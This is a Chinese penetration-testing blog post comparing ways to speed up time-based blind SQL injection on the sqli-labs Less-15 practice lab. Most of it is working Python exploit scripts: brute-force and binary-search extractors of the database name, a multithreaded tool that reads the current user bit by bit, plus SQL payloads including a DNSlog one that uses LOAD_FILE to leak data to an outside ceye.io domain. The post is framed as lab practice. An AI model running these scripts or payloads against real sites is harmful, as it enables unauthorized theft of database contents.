原文链接:http://www.ch1st.cn/?p=44
引言在日常渗透中,我们会遇到时间延迟盲注的场景,那么如何提高注入的速度,快速的达到注入的效果就是我们白帽子要关注的问题了。于此,笔者收集了网上三种加快时间延迟注入的方法供大伙审阅 本文提到的场景是基于手写exp注入的方式,并未用到sqlmap这类自动化注入的工具。因为,先前碰过注入payload需要自定义的情况,又因本身对sqlmap自动注入化工具的操作也不熟悉。 所以还是走上了手写exp的道路,基于sqli-lab的Less-15作为一个测试,并且以读出数据库的名称作为结果,比较三种方式的时间长度来达到最优的选择。 日常注入手法判断注入:
时间盲注测试 一般碰到这种情况,盲注我就直接写payload,下面贴上来 菜鸡payload展示 - #coding=utf-8
-
- import requests
- import time
-
- database_name=""
- url="http://localhost/Less-15/"
- headers={
- 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
- 'Host': 'localhost'
- }
- currentTime=time.time()
- for i in range(1,9):
- for j in range(65,123):
- payload="and if(left(database(),%d)='%s',sleep(5),null)#"%(i,database_name+chr(j))
- data={
- "uname":"admin\'"+payload,
- "passwd":"admin",
- }
- starttime=time.time()
- name=requests.post(url,data=data,headers=headers)
- if time.time()-starttime>=5:
- database_name+=chr(j)
- break
- finishTime=time.time()
- print("[+]一共使用了"+str(finishTime-currentTime)+"s")
- print("[+]数据库名字:"+database_name)
复制代码用了40s 然后尝试运用网上收集的方法 Dnslog快速查询dnslog注入的话,是存在一定的局限性的。 Tips-1:首先需要执行mysql的load_file函数,但是load_file只能在位于Windows上的MySQL上运行。 这牵扯到Windows上UNC路径的问题,百度上的解释如下 这也就解释了为什么我们执行的sql语句中 - SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.6u1akf.ceye.io\\abc'));
复制代码为什么要concat('\\\\')来执行load_file语句了,\\\\会被转义成\\,于此就符合了UNC规范了.而在Linux中并没有遵守UNC这个规范,所以load_file只能适应在Windows上使用了. Tips-2:MySQL数据库配置中要设置secure_file_priv为空,才能完整的去请求DNS. - secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
- ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
复制代码 dnslog注入开始因为笔者切换了操作系统,所以再次测试先前的payload所有的时间,以对dnslog作比较 这里使用了164s, 然后我们执行dnslog获取数据库名字 pyload如下: - 'and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(database())),'.xxx.ceye.io\\abc'))),sleep(5),1)%23
复制代码然后再去请求 数据库中用了23秒.但是在DNS那块是1秒就收到了数据. 将其16进制转换为字符串,得到security 小结使用dnslog进行盲注,速度是很快的,但是也有局限性. 1.网站必须运行在Windows平台上 2.MySQL中的secure_file_priv必须为空 3.域名前缀长度限制在63个字符,解决办法是用mid()函数来获取。 4.域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。 5.sqlmap也提供了这种注入方法,参数:–dns-domain
二分法查找这块牵扯到脚本的编写问题,就是这类的折半查找。 利用ascii码作为条件来查询,ascii码中的字母范围在65~122之间,以这个范围数的中间数为条件,判断payload中的传入的ASCII码是否大于这个中间数,如果大于,就往中间数~122这块查找。反之亦然~ 这里笔者采用了通过ASCII码判断数据库名字,所以时间会比上个例子中提到的poc要长.这里给贴出不使用二分法的脚本与之使用了二分法的脚本对比. 未使用二分法的payload: - #coding=utf-8
- import requests
- import time
- database_name=""
- url="http://localhost/sqli/Less-15/"
- headers={
- 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
- 'Host': 'localhost'
- }
- currentTime=time.time()
- for i in range(1,9):
- for j in range(65,123):
- payload='and if(ascii(substr(database(),%d,1))=%d,sleep(5),1)#' % (i,j)
- data={
- "uname":"admin\'"+payload,
- "passwd":"admin",
- }
- print data
- starttime=time.time()
- name=requests.post(url,data=data,headers=headers)
- if time.time()-starttime>=5:
- database_name+=chr(j)
- break
- try:
- finishTime=time.time()
- print("[+]一共使用了"+str(finishTime-currentTime)+"s")
- print("[+]数据库名字:"+database_name)
- except Exception as e:
- print ""
复制代码通过上述可知用原payload用了426.5秒. 下面贴出自己写的payload(编程水平差,各位看官见谅) - # coding=utf-8
- # author ch1st 2018.5.1
- import requests
- import time
- m2=0
- o=0
- count=0
- status=0
- database_name=""
- s=False
- currentTime=time.time()
- url="http://localhost/sqli/Less-15/"
- headers={
- 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
- 'Host': 'localhost'
- }
- midValue=(65+123)/2
- def check(length,m):
- global o
- global count
- global s
- mid=0
- payload='and if(ascii(substr(database(),%d,1))>%d,sleep(2),1)#' % (length,m)
- data={
- "uname":"admin\'"+payload,
- "passwd":"admin",
- }
- count+=1
- get(length,m)
- get2(length,m)
- if(status==1):
- return True
-
- starttime=time.time()
- name=requests.post(url,data=data,headers=headers)
-
- if time.time()-starttime>=2:
- mid=(m+123)/2
- check(length,mid)
- s=True
- else:
- mid=(m+65)/2
- check(length,mid)
- s=False
- def get(length,m):
- global database_name
- global status
- global m2
- status=0
- payload='and if(ascii(substr(database(),%d,1))=%d,sleep(5),1)#' % (length,m)
- data={
- "uname":"admin\'"+payload,
- "passwd":"admin",
- }
- starttime=time.time()
- print data
- name=requests.post(url,data=data,headers=headers)
- if time.time()-starttime>=5:
- database_name+=chr(m)
- status=1
- def get2(length,m):
- global status
- global s
- global count
- if(count>2):
- if s==True:
- if(m>80):
- for length_n in range(m,122):
- if(status==1):
- count=0
- break
- get(length,length_n)
- else:
- for length_n in range(65,m+1):
- if(status==1):
- count=0
- break
- get(length,length_n)
- for length in range(1,9):
- check(length,midValue)
- o=0
- count=0
- try:
- finishTime=time.time()
- print("[+]一共使用了"+str(finishTime-currentTime)+"s")
- print("[+]数据库名字:"+database_name)
- except Exception as e:
- print ""
复制代码从这里我们可以看出,使用了二分法查找节约了大约一半时间.206.6s 当然啦,应该还能更少时间的。那就要各位看官自己去优化脚本语句了~~ 二进制延迟注入这里笔者主要是观看了张炳帅[如果M微笑,xsser]大佬在Freebuf所开的公开课了解到的一种加快注入速度的方式,主要是通过MySQL语句的优化从而达到提高盲注速度的效果. 主要是说将ascii码转换为二进制,然后判断首位是0还是1,从而来更快的判断出数据库名字.这里贴上课程中的一个关键语句截图. 这里附上Lcy大牛的payload. - #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- # @Author: Lcy
- # @Date: 2015-08-29 22:26:17
- # @Last Modified by: Sunshie
- # @Last Modified time: 2015-08-30 01:48:41
- # blog:https://phpinfo.me
- # 延迟注入工具
- import urllib2
- import time
- import socket
- import threading
- import requests
- class my_threading(threading.Thread):
- def __init__(self, str,x):
- threading.Thread.__init__(self)
- self.str = str
- self.x = x
- def run(self):
- global res
- x=self.x
- j = self.str
- url = "http://localhost/demo/1.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"
- html = request(url)
- verify = 'timeout'
- if verify not in html:
- res[str(j)] = 0
- #print 1
- else:
- res[str(j)] = 1
-
- def request(URL):
- user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
- req = urllib2.Request(URL, None, user_agent)
- try:
- request = urllib2.urlopen(req,timeout=2)
- except Exception ,e:
- time.sleep(2)
- return 'timeout'
- return request.read()
- def curl(url):
- try:
- start = time.clock()
- requests.get(url)
- end = time.clock()
- return int(end)
- except requests.RequestException as e:
- print u"访问出错!"
- exit()
- def getLength():
- i = 0
- while True:
- print "[+] Checking: %s \r" %i
- url = "http://localhost/demo/1.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"
- html = request(url)
- verify = 'timeout'
- if verify in html:
- print u"[+] 数据长度为: %s" %i
- return i
-
- i = i + 1
- def bin2dec(string_num):
- return int(string_num, 2)
- def getData(dataLength):
- global res
- data = ""
- for x in range(dataLength):
- x = x + 1
- #print x
- threads = []
- for j in range(8):
- result = ""
- j = j + 1
- sb = my_threading(j,x)
- sb.setDaemon(True)
- threads.append(sb)
- #print j
- for t in threads:
- t.start()
- for t in threads:
- t.join()
- #print res
- tmp = ""
- for i in range(8):
- tmp = tmp + str(res[str(i+1)])
- #print chr(bin2dec(tmp))
- res = {}
- result = chr(bin2dec(tmp))
- print result
- data = data + result
- sb = None
- print "[+] ok!"
- print "[+] result:" + data
- if __name__ == '__main__':
- stop = False
- res = {}
- length = getLength()
- getData(length)
复制代码pyload原地址:
总结搞安全最重要的还是兴趣,坚持.~ 这条路上最快乐的事情莫过于去认识一群志合道同的路友们~
|